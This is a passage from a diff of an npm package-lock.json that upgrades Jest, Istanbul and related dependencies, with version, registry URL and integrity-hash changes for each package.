"https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", "requires": { - "available-typed-arrays": "^1.0.5", - "call-bind": "^1.0.2", - "es-abstract": "^1.18.5", - "foreach": "^2.0.5", - "has-tostringtag": "^1.0.0" + "which-typed-array": "^1.1.16" } }, "is-typedarray": { @@ -26453,12 +22750,29 @@ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" }, + "is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "dev": true + }, "is-weakref": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.1.tgz", - "integrity": "sha512-b2jKc2pQZjaeFYWEf7ScFj+Be1I+PXmlu572Q8coTXZ+LD/QQZ7ShPMst8h16riVgyXTQwUsFEl74mDvc/3MHQ==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", + "dev": true, + "requires": { + "call-bound": "^1.0.3" + } + }, + "is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", + "dev": true, "requires": { - "call-bind": "^1.0.0" + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" } }, "isarray": { @@ -26475,9 +22789,15 @@ "isobject": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", "dev": true }, + "isomorphic-ws": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-5.0.0.tgz", + "integrity": "sha512-muId7Zzn9ywDsyXgTIafTry2sV3nySZeUDe6YedVd1Hvuuep5AsIlqK+XefWpYTyJG5e503F2xIuT2lcU6rCSw==", + "requires": {} + }, "isstream": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", @@ -26490,26 +22810,37 @@ "dev": true }, "istanbul-lib-instrument": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.0.tgz", - "integrity": "sha512-6Lthe1hqXHBNsqvgDzGO6l03XNeu3CrG4RqQ1KM9+l5+jNGpEJfIELx1NS3SEHmJQA8np/u+E4EPRKRiu6m19A==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.0.tgz", + "integrity": "sha512-x58orMzEVfzPUKqlbLd1hXCnySCxKdDKa6Rjg97CwuLLRI4g3FHTdnExu1OqffVFay6zeMW+T6/DowFLndWnIw==", "dev": true, "requires": { "@babel/core": "^7.12.3", "@babel/parser": "^7.14.7", "@istanbuljs/schema": "^0.1.2", "istanbul-lib-coverage": "^3.2.0", - "semver": "^6.3.0" + "semver": "^7.5.4" + }, + "dependencies": { + "semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + } } }, "istanbul-lib-report": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", - "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", "dev": true, "requires": { "istanbul-lib-coverage": "^3.0.0", - "make-dir": "^3.0.0", + "make-dir": "^4.0.0", "supports-color": "^7.1.0" }, "dependencies": { @@ -26542,464 +22873,351 @@ } }, "istanbul-reports": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz", - "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==", + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz", + "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==", "dev": true, "requires": { "html-escaper": "^2.0.0", "istanbul-lib-report": "^3.0.0" } }, - "isurl": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", - "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", - "requires": { - "has-to-string-tag-x": "^1.2.0", - "is-object": "^1.0.1" - } - }, "jest": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest/-/jest-29.0.1.tgz", - "integrity": "sha512-liHkwzaW6iwQyhRBFj0A4ZYKcsQ7ers1s62CCT95fPeNzoxT/vQRWwjTT4e7jpSCwrvPP2t1VESuy7GrXcr2ug==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz", + "integrity": "sha512-NIy3oAFp9shda19hy4HK0HRTWKtPJmGdnvywu01nOqNC2vZg+Z+fvJDxpMQA88eb2I9EcafcdjYgsDthnYTvGw==", "dev": true, "requires": { - "@jest/core": "^29.0.1", - "@jest/types": "^29.0.1", + "@jest/core": "^29.7.0", + "@jest/types": "^29.6.3", "import-local": "^3.0.2", - "jest-cli": "^29.0.1" + "jest-cli": "^29.7.0" } }, "jest-changed-files": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.0.0.tgz", - "integrity": "sha512-28/iDMDrUpGoCitTURuDqUzWQoWmOmOKOFST1mi2lwh62X4BFf6khgH3uSuo1e49X/UDjuApAj3w0wLOex4VPQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz", + "integrity": "sha512-fEArFiwf1BpQ+4bXSprcDc3/x4HSzL4al2tozwVpDFpsxALjLYdyiIK4e5Vz66GQJIbXJ82+35PtysofptNX2w==", "dev": true, "requires": { "execa": "^5.0.0", + "jest-util": "^29.7.0", "p-limit": "^3.1.0" } }, "jest-circus": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.0.1.tgz", - "integrity": "sha512-I5J4LyK3qPo8EnqPmxsMAVR+2SFx7JOaZsbqW9xQmk4UDmTCD92EQgS162Ey3Jq6CfpKJKFDhzhG3QqiE0fRbw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz", + "integrity": "sha512-3E1nCMgipcTkCocFwM90XXQab9bS+GMsjdpmPrlelaxwD93Ad8iVEjX/vvHPdLPnFf+L40u+5+iutRdA1N9myw==", "dev": true, "requires": { - "@jest/environment": "^29.0.1", - "@jest/expect": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/types": "^29.0.1", + "@jest/environment": "^29.7.0", + "@jest/expect": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "co": "^4.6.0", - "dedent": "^0.7.0", + "dedent": "^1.0.0", "is-generator-fn": "^2.0.0", - "jest-each": "^29.0.1", - "jest-matcher-utils": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-runtime": "^29.0.1", - "jest-snapshot": "^29.0.1", - "jest-util": "^29.0.1", + "jest-each": "^29.7.0", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", "p-limit": "^3.1.0", - "pretty-format": "^29.0.1", + "pretty-format": "^29.7.0", + "pure-rand": "^6.0.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "jest-cli": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.0.1.tgz", - "integrity": "sha512-XozBHtoJCS6mnjCxNESyGm47Y4xSWzNlBJj4tix9nGrG6m068B83lrTWKtjYAenYSfOqyYVpQCkyqUp35IT+qA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz", + "integrity": "sha512-OVVobw2IubN/GSYsxETi+gOe7Ka59EFMR/twOU3Jb2GnKKeMGJB5SGUUrEz3SFVmJASUdZUzy83sLNNQ2gZslg==", "dev": true, "requires": { - "@jest/core": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/types": "^29.0.1", + "@jest/core": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", "chalk": "^4.0.0", + "create-jest": "^29.7.0", "exit": "^0.1.2", - "graceful-fs": "^4.2.9", "import-local": "^3.0.2", - "jest-config": "^29.0.1", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "prompts": "^2.0.1", + "jest-config": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", "yargs": "^17.3.1" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "jest-config": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.0.1.tgz", - "integrity": "sha512-3duIx5ucEPIsUOESDTuasMfqHonD0oZRjqHycIMHSC4JwbvHDjAWNKN/NiM0ZxHXjAYrMTLt2QxSQ+IqlbYE5A==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz", + "integrity": "sha512-uXbpfeQ7R6TZBqI3/TxCU4q4ttk3u0PJeC+E0zbfSoSjq6bJ7buBPxzQPL0ifrkY4DNu4JUdk0ImlBUYi840eQ==", "dev": true, "requires": { "@babel/core": "^7.11.6", - "@jest/test-sequencer": "^29.0.1", - "@jest/types": "^29.0.1", - "babel-jest": "^29.0.1", + "@jest/test-sequencer": "^29.7.0", + "@jest/types": "^29.6.3", + "babel-jest": "^29.7.0", "chalk": "^4.0.0", "ci-info": "^3.2.0", "deepmerge": "^4.2.2", "glob": "^7.1.3", "graceful-fs": "^4.2.9", - "jest-circus": "^29.0.1", - "jest-environment-node": "^29.0.1", - "jest-get-type": "^29.0.0", - "jest-regex-util": "^29.0.0", - "jest-resolve": "^29.0.1", - "jest-runner": "^29.0.1", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", + "jest-circus": "^29.7.0", + "jest-environment-node": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-runner": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", "micromatch": "^4.0.4", "parse-json": "^5.2.0", - "pretty-format": "^29.0.1", + "pretty-format": "^29.7.0", "slash": "^3.0.0", "strip-json-comments": "^3.1.1" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "jest-diff": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.0.1.tgz", - "integrity": "sha512-l8PYeq2VhcdxG9tl5cU78ClAlg/N7RtVSp0v3MlXURR0Y99i6eFnegmasOandyTmO6uEdo20+FByAjBFEO9nuw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", + "integrity": "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==", + "dev": true, + "requires": { + "chalk": "^4.0.0", + "diff-sequences": "^29.6.3", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" + } + }, + "jest-docblock": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz", + "integrity": "sha512-q617Auw3A612guyaFgsbFeYpNP5t2aoUNLwBUbc/0kD1R4t9ixDbyFTHd1nok4epoVFpr7PmeWHrhvuV3XaJ4g==", + "dev": true, + "requires": { + "detect-newline": "^3.0.0" + } + }, + "jest-each": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz", + "integrity": "sha512-gns+Er14+ZrEoC5fhOfYCY1LOHHr0TI+rQUHZS8Ttw2l7gl+80eHc/gFf2Ktkw0+SIACDTeWvpFcv3B04VembQ==", "dev": true, "requires": { + "@jest/types": "^29.6.3", "chalk": "^4.0.0", - "diff-sequences": "^29.0.0", - "jest-get-type": "^29.0.0", - "pretty-format": "^29.0.1" + "jest-get-type": "^29.6.3", + "jest-util": "^29.7.0", + "pretty-format": "^29.7.0" + } + }, + "jest-environment-jsdom": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.0.5.tgz", + "integrity": "sha512-BmnDEoAH+jEjkPrvE9DTKS2r3jYSJWlN/r46h0/DBUxKrkgt2jAZ5Nj4wXLAcV1KWkRpcFqA5zri9SWzJZ1cCg==", + "dev": true, + "requires": { + "@jest/environment": "30.0.5", + "@jest/environment-jsdom-abstract": "30.0.5", + "@types/jsdom": "^21.1.7", + "@types/node": "*", + "jsdom": "^26.1.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "@jest/environment": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.0.5.tgz", + "integrity": "sha512-aRX7WoaWx1oaOkDQvCWImVQ8XNtdv5sEWgk4gxR6NXb7WBUnL5sRak4WRzIQRZ1VTWPvV4VI4mgGjNL9TeKMYA==", "dev": true, "requires": { - "color-convert": "^2.0.1" + "@jest/fake-timers": "30.0.5", + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-mock": "30.0.5" } }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "@jest/fake-timers": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.0.5.tgz", + "integrity": "sha512-ZO5DHfNV+kgEAeP3gK3XlpJLL4U3Sz6ebl/n68Uwt64qFFs5bv4bfEEjyRGK5uM0C90ewooNgFuKMdkbEoMEXw==", "dev": true, "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@jest/types": "30.0.5", + "@sinonjs/fake-timers": "^13.0.0", + "@types/node": "*", + "jest-message-util": "30.0.5", + "jest-mock": "30.0.5", + "jest-util": "30.0.5" } }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", "dev": true, "requires": { - "color-name": "~1.1.4" + "@sinclair/typebox": "^0.34.0" } }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "@jest/types": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.5.tgz", + "integrity": "sha512-aREYa3aku9SSnea4aX6bhKn4bgv3AXkgijoQgbYV3yvbiGt6z+MQ85+6mIhx9DsKW2BuB/cLR/A+tcMThx+KLQ==", + "dev": true, + "requires": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + } }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "@sinclair/typebox": { + "version": "0.34.38", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.38.tgz", + "integrity": "sha512-HpkxMmc2XmZKhvaKIZZThlHmx1L0I/V1hWK1NubtlFnr6ZqdiOpV72TKudZUNQjZNsyDBay72qFEhEvb+bcwcA==", "dev": true }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", + "dev": true, + "requires": { + "type-detect": "4.0.8" + } + }, + "@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", "dev": true, "requires": { - "has-flag": "^4.0.0" + "@sinonjs/commons": "^3.0.1" } - } - } - }, - "jest-docblock": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.0.0.tgz", - "integrity": "sha512-s5Kpra/kLzbqu9dEjov30kj1n4tfu3e7Pl8v+f8jOkeWNqM6Ds8jRaJfZow3ducoQUrf2Z4rs2N5S3zXnb83gw==", - "dev": true, - "requires": { - "detect-newline": "^3.0.0" - } - }, - "jest-each": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.0.1.tgz", - "integrity": "sha512-UmCZYU9LPvRfSDoCrKJqrCNmgTYGGb3Ga6IVsnnVjedBTRRR9GJMca7UmDKRrJ1s+U632xrVtiRD27BxaG1aaQ==", - "dev": true, - "requires": { - "@jest/types": "^29.0.1", - "chalk": "^4.0.0", - "jest-get-type": "^29.0.0", - "jest-util": "^29.0.1", - "pretty-format": "^29.0.1" - }, - "dependencies": { + }, "ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true + }, + "ci-info": { "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.0.tgz", + "integrity": "sha512-l+2bNRMiQgcfILUi33labAZYIWlH1kWDp+ecNo5iisRKrbm0xcRyCww71/YU0Fkw0mAFpz9bJayXPjey6vkmaQ==", + "dev": true + }, + "jest-message-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.0.5.tgz", + "integrity": "sha512-NAiDOhsK3V7RU0Aa/HnrQo+E4JlbarbmI3q6Pi4KcxicdtjV82gcIUrejOtczChtVQR4kddu1E1EJlW6EN9IyA==", "dev": true, "requires": { - "color-convert": "^2.0.1" + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.0.5", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.0.5", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" } }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "jest-mock": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.0.5.tgz", + "integrity": "sha512-Od7TyasAAQX/6S+QCbN6vZoWOMwlTtzzGuxJku1GhGanAjz9y+QsQkpScDmETvdc9aSXyJ/Op4rhpMYBWW91wQ==", "dev": true, "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-util": "30.0.5" } }, - "color-convert": { - "version": "2.0.1", - "resolved": 